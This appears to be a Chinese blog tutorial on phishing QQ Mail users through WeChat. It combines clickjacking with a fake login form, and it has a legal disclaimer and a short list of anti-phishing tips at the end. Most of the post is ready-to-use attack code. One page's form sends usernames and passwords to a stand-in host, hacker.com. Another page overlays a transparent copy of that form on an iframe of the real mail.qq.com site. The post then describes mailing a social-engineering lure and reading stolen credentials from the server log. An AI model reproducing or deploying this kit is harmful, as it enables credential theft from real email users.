*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
前言
钓鱼攻击一般指钓鱼式攻击。钓鱼式攻击是指企图从电子通讯中 通过伪装成信誉卓著的法人媒体以获得如用户名 密码和信用卡
明细等个人敏感信息的犯罪诈骗过程。一些网站存在着诸如html注入 xss 点击劫持等漏洞 这些漏洞因没有实质性的危害往往不
被人所重视 本次实验就结合这些漏洞来进行一次账号密码恶意钓鱼 由于技术略菜 大佬勿喷。
准备
为了使受害者更加信任 首先需要一个有点击劫持漏洞的网站来配合完成 因为此次实验环境是手机微信的
qq邮箱
提醒功能通过这个功能可直接从手机微信上查看邮件 所以就去找找相关的资产 首先找到的是QQ邮箱官网发现可
直接被iframe标签嵌套进去:
- <iframe src="https://mail.qq.com/"></iframe>
复制代码
表明可利用于点击劫持 然后继续构造html代码 下一步先需要准备一台vps 并且开启web服务将写好的点击
劫持文件放在web目录。直接上代码:
- <!DOCTYPE html>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title></title>
- </head>
- <body>
- <div style="width:300px; height:200px;position: absolute;top: 50%;left: 50%;transform: translate(-50%, -50%)">
- <form name="login" action="http://hacker.com/1.html">
- <input style="width: 286px;height:40px;" type="text" name="username"/>
- <br />
- <input style="width: 286px;height:40px;" type="text" name="password"/><br />
- <br />
- <br />
- <br />
- <input style="width: 286px;height:40px;opacity:0.5" type="submit" value=""/>
- </form>
- </div>
- </body>
- </html>
复制代码
将上述代码保存为login.html文件放在web目录 需要注意的是style需要根据实际情况调整
opacity一会要设置为0先看下效果:
OK,钓鱼页面就先构造成这样 然后构造主页面 就是受害者访问所看到的页面 直接上代码:
- <html>
- <head>
- <title>登陆</title>
- </head>
- <body>
- <iframe src="https://mail.qq.com/" style="width:1440px;height:900px;positio
- n:absolute;top:-0px;left:-0px;opacity:1;"></iframe>
- <iframe src="http://hacker.com/login.html" style="width:640px;height:640p
- x;position:absolute;top:-0;left:700px;opacity:1;"></iframe>
- </body>
- </html>
复制代码
第一个iframe标签里是真正的QQ邮箱页面 第二个是钓鱼页面 将钓鱼页面放在第二个是因为 经测试浏览器会优先
加载最后一个iframe标签 第一个只是可以看到不能进行任何操作,现将opacity设置0.5看下效果:
将opacity设为0的话 按钮就会彻底透明 点击登陆时会被钓鱼。
代码写的确实不精湛 无所谓 实现功能才是这次的目的 当受害者输入账号密码点击登陆时 其实点击的是我们构
造的钓鱼页面,在第一段代码中我们构造了一个登陆get请求表单,当受害者提交登陆请求的时候实际上的操
作为/1.html?username=xxx&password=xxx而参数会记录在日志中这样就可以窃取远程受害者的输入内容:
第二段实际上是点击劫持漏洞利用 利用视觉上的欺骗进行劫持操作:
在测试中发现手机访问的时候并不是https://mail.qq.com这个域名 而手机网页版的
地址是:https://w.mail.qq.com,最终代码为:
漏洞利用
终于来到了漏洞利用 偶然间发现如果直接发送测试html代码 微信的QQ邮箱会解析:
查看邮件发现已经解析 虽然没有写提交参数 但是action属性涉及到跨域的问题往往无法直接访
问指定的URL所以这里也没有实质性的危害。
然后发送准备好的社工邮件 邮件主题这段话可以忽略不看 不是此次实验的重点~~:
从微信上查看邮件
我们假设当人员安全意识较低时会点击按钮
这里进入了网页版 一般能进网页版绝对不下载 进来之后大体上和原始页面没啥区别的
代码能力有限,含请见谅 这是钓鱼页面:
以下为真正的页面:
然后实验继续,输入账号密码:
可以看到真正请求的是之前建立的login.html,也就是/1.html?username=xxx&password=xxx
最后查看apache_access.log发现刚才的请求以及输入的账号密码:
如何防范网络钓鱼攻击
本次实验就到此结束了 整体来看这次实验做的还是有些鸡肋 比起真正的钓鱼网站还是有差距 希望人人都能提高主动
风险防范技巧,共同抵抗钓鱼网站诈骗行为 以下为常见的钓鱼防范:
1、对于普通人来说 认清网址是防止误上钓鱼网站的最重要 最直接的方法 每个网站都有网址 而网址中包含的 域名是不变的。
2、现在的网络钓鱼攻击并未做到主动防御 不过欣慰的是可以看到国内如QQ 微博等软件 开始提醒用户不
要打开未知的不可信的链接 防止用户被欺骗。
3、对攻击者而言 建立一个包含登录表单 标题和组织logo的网站是一件非常简单的事情。
所以重视用户的安全培训也显得尤为重要。
4、最后给大家一些防范网络钓鱼攻击参考链接: